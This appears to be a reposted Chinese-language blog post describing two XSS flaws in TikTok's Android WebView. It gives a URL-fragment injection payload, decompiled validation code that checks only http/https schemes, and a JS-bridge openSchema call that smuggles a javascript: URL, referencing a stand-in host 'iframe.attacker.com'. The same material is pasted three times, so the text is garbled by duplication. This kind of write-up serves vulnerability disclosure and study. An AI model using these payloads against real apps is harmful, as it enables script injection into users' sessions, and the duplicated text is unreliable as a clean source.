安卓版TikTok_XSS漏洞

# 安卓版TikTok XSS漏洞

==TikTok WebView上的通用XSS==
https://m.tiktok.com/falcon/#'),alert(1));//
將觸發以下執行:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))

==Add Wiki Activity的另一個XSS==
Add Wiki Activity 實現URL驗證,以確保不會在其中打開黑名單中的URL。但驗證只在http或https方案中進行。因為他們認為其他方案都是無效的,不需要驗證。
if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a(“AbsSecStrategy”, “needBuildSecLink : url is invalid.”);
return false;
}public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith(“http”)) || (arg1.startsWith(“https”))) && !e.a(arg1);
}
即便驗證不是在javascript方案上,也可以使用該方案對該WebView進行XSS攻擊。

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));

==TikTok WebView上的通用XSS==
https://m.tiktok.com/falcon/#'),alert(1));//

將觸發以下執行:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))

==Add Wiki Activity的另一個XSS==

Add Wiki Activity 實現URL驗證,以確保不會在其中打開黑名單中的URL。但驗證只在http或https方案中進行。因為他們認為其他方案都是無效的,不需要驗證。

if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a(“AbsSecStrategy”, “needBuildSecLink : url is invalid.”);
return false;
}public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith(“http”)) || (arg1.startsWith(“https”))) && !e.a(arg1);
}

即便驗證不是在javascript方案上,也可以使用該方案對該WebView進行XSS攻擊。

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));

==TikTok WebView上的通用XSS==
https://m.tiktok.com/falcon/#'),alert(1));//

將觸發以下執行:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))

==Add Wiki Activity的另一個XSS==

Add Wiki Activity 實現URL驗證,以確保不會在其中打開黑名單中的URL。但驗證只在http或https方案中進行。因為他們認為其他方案都是無效的,不需要驗證。

if(!e.b(arg8)) {
    com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
    return false;
}public static boolean b(String arg1) {
    return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}
即便驗證不是在javascript方案上,也可以使用該方案對該WebView進行XSS攻擊。
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容